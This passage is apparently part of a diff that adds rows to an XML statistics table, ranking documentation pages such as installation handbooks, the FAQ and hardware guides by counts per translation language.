+<tr><ti>12.</ti><ti><uri link='/doc/en/list.xml'>/doc/**/list.xml</uri></ti><ti align='right'>78,146</ti><ti align='right'>52,917</ti><ti align='right'>5,547</ti><ti align='right'>3,560</ti><ti align='right'>3,383</ti><ti align='right'>2,882</ti><ti align='right'>2,790</ti><ti align='right'>643</ti><ti align='right'>2,138</ti><ti align='right'>1,609</ti><ti align='right'>330</ti><ti align='right'>148</ti><ti align='right'>312</ti><ti align='right'>1,068</ti><ti align='right'>155</ti><ti align='right'>184</ti><ti align='right'>100</ti><ti align='right'>170</ti><ti align='right'>66</ti><ti align='right'>6</ti><ti align='right'>97</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>25</ti><ti align='right'>5</ti><ti align='right'></ti><ti align='right'>8</ti><ti align='right'></ti><ti align='right'>1</ti><ti align='right'>2</ti></tr>
+<tr><ti>13.</ti><ti><uri link='/doc/en/alsa-guide.xml'>/doc/**/alsa-guide.xml</uri></ti><ti align='right'>67,327</ti><ti align='right'>42,739</ti><ti align='right'>3,121</ti><ti align='right'>2,889</ti><ti align='right'>3,273</ti><ti align='right'>3,738</ti><ti align='right'>1,863</ti><ti align='right'>3,298</ti><ti align='right'>1,786</ti><ti align='right'>1,168</ti><ti align='right'>499</ti><ti align='right'>423</ti><ti align='right'>413</ti><ti align='right'>882</ti><ti align='right'>152</ti><ti align='right'>108</ti><ti align='right'>330</ti><ti align='right'>364</ti><ti align='right'>167</ti><ti align='right'>11</ti><ti align='right'>66</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>36</ti><ti align='right'></ti><ti align='right'>1</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>14.</ti><ti><uri link='/doc/en/handbook/handbook-sparc.xml'>/doc/**/handbook/handbook-sparc.xml</uri></ti><ti align='right'>66,166</ti><ti align='right'>28,374</ti><ti align='right'>4,245</ti><ti align='right'>4,052</ti><ti align='right'>4,162</ti><ti align='right'>5,126</ti><ti align='right'>4,233</ti><ti align='right'>2,393</ti><ti align='right'>4,197</ti><ti align='right'>2,301</ti><ti align='right'>1,573</ti><ti align='right'>1,162</ti><ti align='right'>845</ti><ti align='right'></ti><ti align='right'>957</ti><ti align='right'>1,150</ti><ti align='right'>25</ti><ti align='right'>447</ti><ti align='right'>793</ti><ti align='right'>40</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>41</ti><ti align='right'>50</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>15.</ti><ti><uri link='/proj/en/index.xml'>/proj/**/index.xml</uri></ti><ti align='right'>62,967</ti><ti align='right'>62,967</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>16.</ti><ti><uri link='/doc/en/handbook/handbook-mips.xml'>/doc/**/handbook/handbook-mips.xml</uri></ti><ti align='right'>60,178</ti><ti align='right'>24,358</ti><ti align='right'>4,164</ti><ti align='right'>1,071</ti><ti align='right'>3,522</ti><ti align='right'>5,028</ti><ti align='right'>4,093</ti><ti align='right'>2,935</ti><ti align='right'></ti><ti align='right'>3,566</ti><ti align='right'>2,440</ti><ti align='right'>1,666</ti><ti align='right'>2,112</ti><ti align='right'></ti><ti align='right'>1,473</ti><ti align='right'>1,659</ti><ti align='right'></ti><ti align='right'>813</ti><ti align='right'>955</ti><ti align='right'>78</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>132</ti><ti align='right'>113</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>17.</ti><ti><uri link='/doc/en/faq.xml'>/doc/**/faq.xml</uri></ti><ti align='right'>56,989</ti><ti align='right'>31,678</ti><ti align='right'>3,173</ti><ti align='right'>3,138</ti><ti align='right'>2,395</ti><ti align='right'>5,044</ti><ti align='right'>1,725</ti><ti align='right'>2,829</ti><ti align='right'>2,148</ti><ti align='right'>1,060</ti><ti align='right'>835</ti><ti align='right'>140</ti><ti align='right'>403</ti><ti align='right'>1,167</ti><ti align='right'>293</ti><ti align='right'>285</ti><ti align='right'>186</ti><ti align='right'></ti><ti align='right'>151</ti><ti align='right'></ti><ti align='right'>265</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>45</ti><ti align='right'></ti><ti align='right'>7</ti><ti align='right'>22</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>18.</ti><ti><uri link='/doc/en/nvidia-guide.xml'>/doc/**/nvidia-guide.xml</uri></ti><ti align='right'>55,939</ti><ti align='right'>35,448</ti><ti align='right'>2,686</ti><ti align='right'>3,287</ti><ti align='right'>2,600</ti><ti align='right'>3,006</ti><ti align='right'>1,310</ti><ti align='right'>3,619</ti><ti align='right'>1,442</ti><ti align='right'>453</ti><ti align='right'>384</ti><ti align='right'>262</ti><ti align='right'>375</ti><ti align='right'>560</ti><ti align='right'>124</ti><ti align='right'>79</ti><ti align='right'>304</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>19.</ti><ti><uri link='/doc/en/grub-error-guide.xml'>/doc/**/grub-error-guide.xml</uri></ti><ti align='right'>55,428</ti><ti align='right'>19,612</ti><ti align='right'>4,031</ti><ti align='right'>9,616</ti><ti align='right'>2,524</ti><ti align='right'>3,161</ti><ti align='right'>2,975</ti><ti align='right'>7,932</ti><ti align='right'>4,132</ti><ti align='right'>632</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>153</ti><ti align='right'>660</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>20.</ti><ti><uri link='/doc/en/handbook/handbook-ppc64.xml'>/doc/**/handbook/handbook-ppc64.xml</uri></ti><ti align='right'>54,968</ti><ti align='right'>24,206</ti><ti align='right'>2,960</ti><ti align='right'>3,227</ti><ti align='right'>3,666</ti><ti align='right'>4,847</ti><ti align='right'>2,403</ti><ti align='right'>2,768</ti><ti align='right'></ti><ti align='right'>2,367</ti><ti align='right'>2,189</ti><ti align='right'>1,520</ti><ti align='right'>817</ti><ti align='right'></ti><ti align='right'>1,199</ti><ti align='right'>1,298</ti><ti align='right'></ti><ti align='right'>731</ti><ti align='right'>588</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>54</ti><ti align='right'>128</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><th>Rank</th><th>Document</th><th>All</th><th>en</th><th>pl</th><th>de</th><th>fr</th><th>ru</th><th>it</th><th>ja</th><th>es</th><th>zh_cn</th><th>pt_br</th><th>zh_tw</th><th>fi</th><th>cs</th><th>ro</th><th>id</th><th>nl</th><th>hu</th><th>da</th><th>tr</th><th>ko</th><th>el</th><th>sk</th><th>pt</th><th>vi</th><th>lt</th><th>sv</th><th>he</th><th>ca</th><th>ar</th><th>sr</th></tr>
+<tr><ti>21.</ti><ti><uri link='/doc/en/handbook/handbook-hppa.xml'>/doc/**/handbook/handbook-hppa.xml</uri></ti><ti align='right'>53,177</ti><ti align='right'>23,756</ti><ti align='right'>3,725</ti><ti align='right'>3,083</ti><ti align='right'>3,335</ti><ti align='right'>4,611</ti><ti align='right'>2,259</ti><ti align='right'>1,556</ti><ti align='right'></ti><ti align='right'>2,202</ti><ti align='right'>1,659</ti><ti align='right'>1,069</ti><ti align='right'>1,209</ti><ti align='right'></ti><ti align='right'>1,215</ti><ti align='right'>1,555</ti><ti align='right'></ti><ti align='right'>749</ti><ti align='right'>1,000</ti><ti align='right'>39</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>39</ti><ti align='right'>107</ti><ti align='right'>9</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>22.</ti><ti><uri link='/doc/en/handbook/handbook-alpha.xml'>/doc/**/handbook/handbook-alpha.xml</uri></ti><ti align='right'>52,985</ti><ti align='right'>20,479</ti><ti align='right'>3,293</ti><ti align='right'>2,980</ti><ti align='right'>3,104</ti><ti align='right'>4,717</ti><ti align='right'>3,303</ti><ti align='right'>2,351</ti><ti align='right'></ti><ti align='right'>2,147</ti><ti align='right'>1,638</ti><ti align='right'>1,211</ti><ti align='right'>1,976</ti><ti align='right'>1,098</ti><ti align='right'>831</ti><ti align='right'>1,476</ti><ti align='right'></ti><ti align='right'>810</ti><ti align='right'>1,135</ti><ti align='right'>245</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>88</ti><ti align='right'>86</ti><ti align='right'>17</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>23.</ti><ti><uri link='/doc/en/kde-config.xml'>/doc/**/kde-config.xml</uri></ti><ti align='right'>51,235</ti><ti align='right'>28,811</ti><ti align='right'>3,637</ti><ti align='right'>3,777</ti><ti align='right'>2,803</ti><ti align='right'>3,459</ti><ti align='right'>1,630</ti><ti align='right'>2,460</ti><ti align='right'>2,008</ti><ti align='right'>741</ti><ti align='right'>596</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>895</ti><ti align='right'></ti><ti align='right'>120</ti><ti align='right'>241</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>57</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>24.</ti><ti><uri link='/doc/en/guide-localization.xml'>/doc/**/guide-localization.xml</uri></ti><ti align='right'>46,269</ti><ti align='right'>25,207</ti><ti align='right'>3,666</ti><ti align='right'>2,446</ti><ti align='right'>1,991</ti><ti align='right'>4,767</ti><ti align='right'>1,049</ti><ti align='right'>1,917</ti><ti align='right'>1,727</ti><ti align='right'>428</ti><ti align='right'>420</ti><ti align='right'></ti><ti align='right'>650</ti><ti align='right'>1,160</ti><ti align='right'>172</ti><ti align='right'></ti><ti align='right'>279</ti><ti align='right'>239</ti><ti align='right'>123</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>10</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>18</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>25.</ti><ti><uri link='/proj/en/desktop/kde/kde4.xml'>/proj/**/desktop/kde/kde4.xml</uri></ti><ti align='right'>45,142</ti><ti align='right'>44,500</ti><ti align='right'>460</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>182</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>26.</ti><ti><uri link='/doc/en/power-management-guide.xml'>/doc/**/power-management-guide.xml</uri></ti><ti align='right'>43,196</ti><ti align='right'>28,297</ti><ti align='right'>2,433</ti><ti align='right'>2,291</ti><ti align='right'>2,804</ti><ti align='right'></ti><ti align='right'>1,427</ti><ti align='right'>3,374</ti><ti align='right'>1,080</ti><ti align='right'>119</ti><ti align='right'></ti><ti align='right'>625</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>160</ti><ti align='right'>152</ti><ti align='right'>434</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>27.</ti><ti><uri link='/proj/en/devrel/handbook/handbook.xml'>/proj/**/devrel/handbook/handbook.xml</uri></ti><ti align='right'>43,147</ti><ti align='right'>33,718</ti><ti align='right'>2,820</ti><ti align='right'></ti><ti align='right'>3,972</ti><ti align='right'></ti><ti align='right'>1,546</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,091</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>28.</ti><ti><uri link='/doc/en/home-router-howto.xml'>/doc/**/home-router-howto.xml</uri></ti><ti align='right'>41,570</ti><ti align='right'>20,298</ti><ti align='right'>6,749</ti><ti align='right'>2,059</ti><ti align='right'>1,051</ti><ti align='right'>4,178</ti><ti align='right'>2,070</ti><ti align='right'>2,211</ti><ti align='right'>1,221</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,055</ti><ti align='right'>248</ti><ti align='right'></ti><ti align='right'>430</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>29.</ti><ti><uri link='/doc/en/handbook/handbook-ia64.xml'>/doc/**/handbook/handbook-ia64.xml</uri></ti><ti align='right'>40,155</ti><ti align='right'>27,244</ti><ti align='right'>3,775</ti><ti align='right'>44</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,448</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>3,537</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>762</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,351</ti><ti align='right'></ti><ti align='right'>866</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>128</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>30.</ti><ti><uri link='/doc/en/kernel-upgrade.xml'>/doc/**/kernel-upgrade.xml</uri></ti><ti align='right'>39,594</ti><ti align='right'>30,486</ti><ti align='right'>1,356</ti><ti align='right'>2,042</ti><ti align='right'>1,549</ti><ti align='right'></ti><ti align='right'>1,039</ti><ti align='right'>959</ti><ti align='right'>743</ti><ti align='right'></ti><ti align='right'>322</ti><ti align='right'>116</ti><ti align='right'>202</ti><ti align='right'>481</ti><ti align='right'>91</ti><ti align='right'>49</ti><ti align='right'>159</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>31.</ti><ti><uri link='/news/en/gwn/gwn.xml'>/news/**/gwn/gwn.xml</uri></ti><ti align='right'>39,177</ti><ti align='right'>21,593</ti><ti align='right'>1,833</ti><ti align='right'>1,867</ti><ti align='right'>1,140</ti><ti align='right'>1,008</ti><ti align='right'>1,067</ti><ti align='right'>3,211</ti><ti align='right'>937</ti><ti align='right'>873</ti><ti align='right'>1,045</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>975</ti><ti align='right'></ti><ti align='right'>417</ti><ti align='right'>799</ti><ti align='right'>755</ti><ti align='right'>509</ti><ti align='right'>394</ti><ti align='right'>754</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>32.</ti><ti><uri link='/proj/en/devrel/roll-call/devmap.xml'>/proj/**/devrel/roll-call/devmap.xml</uri></ti><ti align='right'>38,939</ti><ti align='right'>38,939</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>33.</ti><ti><uri link='/doc/en/handbook/2005.1/handbook-x86.xml'>/doc/**/handbook/2005.1/handbook-x86.xml</uri></ti><ti align='right'>37,527</ti><ti align='right'>18,530</ti><ti align='right'>3,466</ti><ti align='right'>2,743</ti><ti align='right'>2,570</ti><ti align='right'></ti><ti align='right'>2,896</ti><ti align='right'></ti><ti align='right'>2,515</ti><ti align='right'></ti><ti align='right'>1,573</ti><ti align='right'>1,353</ti><ti align='right'>1,022</ti><ti align='right'></ti><ti align='right'>759</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>100</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>34.</ti><ti><uri link='/doc/en/handbook/2007.0/index.xml'>/doc/**/handbook/2007.0/index.xml</uri></ti><ti align='right'>37,213</ti><ti align='right'>26,409</ti><ti align='right'>3,524</ti><ti align='right'>2,149</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,138</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,015</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>147</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>610</ti><ti align='right'></ti><ti align='right'>221</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>35.</ti><ti><uri link='/doc/en/apache-upgrading.xml'>/doc/**/apache-upgrading.xml</uri></ti><ti align='right'>36,945</ti><ti align='right'>32,762</ti><ti align='right'>913</ti><ti align='right'>567</ti><ti align='right'>769</ti><ti align='right'></ti><ti align='right'>405</ti><ti align='right'>829</ti><ti align='right'>507</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>95</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>98</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>36.</ti><ti><uri link='/doc/en/altinstall.xml'>/doc/**/altinstall.xml</uri></ti><ti align='right'>35,877</ti><ti align='right'>22,619</ti><ti align='right'>1,786</ti><ti align='right'>2,497</ti><ti align='right'>2,054</ti><ti align='right'>2,358</ti><ti align='right'>1,219</ti><ti align='right'>955</ti><ti align='right'>1,065</ti><ti align='right'></ti><ti align='right'>405</ti><ti align='right'>194</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>197</ti><ti align='right'>334</ti><ti align='right'></ti><ti align='right'>129</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>57</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>8</ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>37.</ti><ti><uri link='/doc/en/gnome-config.xml'>/doc/**/gnome-config.xml</uri></ti><ti align='right'>35,845</ti><ti align='right'>20,968</ti><ti align='right'>1,146</ti><ti align='right'>1,086</ti><ti align='right'>2,407</ti><ti align='right'>1,652</ti><ti align='right'>1,505</ti><ti align='right'>3,018</ti><ti align='right'>1,539</ti><ti align='right'>971</ti><ti align='right'>379</ti><ti align='right'>132</ti><ti align='right'>170</ti><ti align='right'>413</ti><ti align='right'>75</ti><ti align='right'>58</ti><ti align='right'>138</ti><ti align='right'>147</ti><ti align='right'></ti><ti align='right'>5</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>35</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1</ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>38.</ti><ti><uri link='/doc/en/utf-8.xml'>/doc/**/utf-8.xml</uri></ti><ti align='right'>35,606</ti><ti align='right'>16,674</ti><ti align='right'>3,595</ti><ti align='right'>2,083</ti><ti align='right'>2,640</ti><ti align='right'>3,563</ti><ti align='right'>956</ti><ti align='right'>1,979</ti><ti align='right'>1,472</ti><ti align='right'></ti><ti align='right'>482</ti><ti align='right'></ti><ti align='right'>526</ti><ti align='right'>892</ti><ti align='right'>148</ti><ti align='right'></ti><ti align='right'>286</ti><ti align='right'>249</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>13</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>26</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>22</ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>39.</ti><ti><uri link='/doc/en/handbook/2007.0/handbook-amd64.xml'>/doc/**/handbook/2007.0/handbook-amd64.xml</uri></ti><ti align='right'>35,245</ti><ti align='right'>21,687</ti><ti align='right'>2,875</ti><ti align='right'>3,331</ti><ti align='right'>36</ti><ti align='right'></ti><ti align='right'>1,942</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,561</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>905</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,264</ti><ti align='right'></ti><ti align='right'>644</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>40.</ti><ti><uri link='/doc/en/fluxbox-config.xml'>/doc/**/fluxbox-config.xml</uri></ti><ti align='right'>35,081</ti><ti align='right'>18,647</ti><ti align='right'>2,464</ti><ti align='right'>1,981</ti><ti align='right'>2,152</ti><ti align='right'>2,030</ti><ti align='right'>1,293</ti><ti align='right'>3,814</ti><ti align='right'>1,672</ti><ti align='right'></ti><ti align='right'>660</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>86</ti><ti align='right'>110</ti><ti align='right'>172</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><th>Rank</th><th>Document</th><th>All</th><th>en</th><th>pl</th><th>de</th><th>fr</th><th>ru</th><th>it</th><th>ja</th><th>es</th><th>zh_cn</th><th>pt_br</th><th>zh_tw</th><th>fi</th><th>cs</th><th>ro</th><th>id</th><th>nl</th><th>hu</th><th>da</th><th>tr</th><th>ko</th><th>el</th><th>sk</th><th>pt</th><th>vi</th><th>lt</th><th>sv</th><th>he</th><th>ca</th><th>ar</th><th>sr</th></tr>
+<tr><ti>41.</ti><ti><uri link='/doc/en/handbook/2006.0/handbook-amd64.xml'>/doc/**/handbook/2006.0/handbook-amd64.xml</uri></ti><ti align='right'>34,523</ti><ti align='right'>15,650</ti><ti align='right'>2,584</ti><ti align='right'>2,727</ti><ti align='right'>4,083</ti><ti align='right'></ti><ti align='right'>1,793</ti><ti align='right'></ti><ti align='right'>2,593</ti><ti align='right'></ti><ti align='right'>1,285</ti><ti align='right'>963</ti><ti align='right'>1,608</ti><ti align='right'></ti><ti align='right'>1,237</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>42.</ti><ti><uri link='/doc/en/dri-howto.xml'>/doc/**/dri-howto.xml</uri></ti><ti align='right'>34,173</ti><ti align='right'>20,859</ti><ti align='right'>2,027</ti><ti align='right'>2,104</ti><ti align='right'>1,714</ti><ti align='right'></ti><ti align='right'>1,511</ti><ti align='right'>2,245</ti><ti align='right'>1,202</ti><ti align='right'>419</ti><ti align='right'>475</ti><ti align='right'>867</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>183</ti><ti align='right'>90</ti><ti align='right'>262</ti><ti align='right'></ti><ti align='right'>215</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>43.</ti><ti><uri link='/doc/en/handbook/2006.0/handbook-x86.xml'>/doc/**/handbook/2006.0/handbook-x86.xml</uri></ti><ti align='right'>33,835</ti><ti align='right'>15,608</ti><ti align='right'>2,310</ti><ti align='right'>2,545</ti><ti align='right'>3,640</ti><ti align='right'></ti><ti align='right'>2,259</ti><ti align='right'></ti><ti align='right'>2,680</ti><ti align='right'></ti><ti align='right'>1,805</ti><ti align='right'>1,677</ti><ti align='right'>610</ti><ti align='right'></ti><ti align='right'>701</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>44.</ti><ti><uri link='/doc/en/handbook/2005.0/handbook-x86.xml'>/doc/**/handbook/2005.0/handbook-x86.xml</uri></ti><ti align='right'>33,569</ti><ti align='right'>18,126</ti><ti align='right'></ti><ti align='right'>3,647</ti><ti align='right'>3,379</ti><ti align='right'></ti><ti align='right'>2,540</ti><ti align='right'></ti><ti align='right'>40</ti><ti align='right'></ti><ti align='right'>1,247</ti><ti align='right'>1,180</ti><ti align='right'>2,118</ti><ti align='right'></ti><ti align='right'>1,282</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>10</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>45.</ti><ti><uri link='/doc/en/handbook/2005.1/handbook-ppc.xml'>/doc/**/handbook/2005.1/handbook-ppc.xml</uri></ti><ti align='right'>32,846</ti><ti align='right'>15,094</ti><ti align='right'>2,422</ti><ti align='right'>2,913</ti><ti align='right'>1</ti><ti align='right'></ti><ti align='right'>2,157</ti><ti align='right'></ti><ti align='right'>3,319</ti><ti align='right'></ti><ti align='right'>2,513</ti><ti align='right'>2,154</ti><ti align='right'>1,056</ti><ti align='right'></ti><ti align='right'>1,189</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>28</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
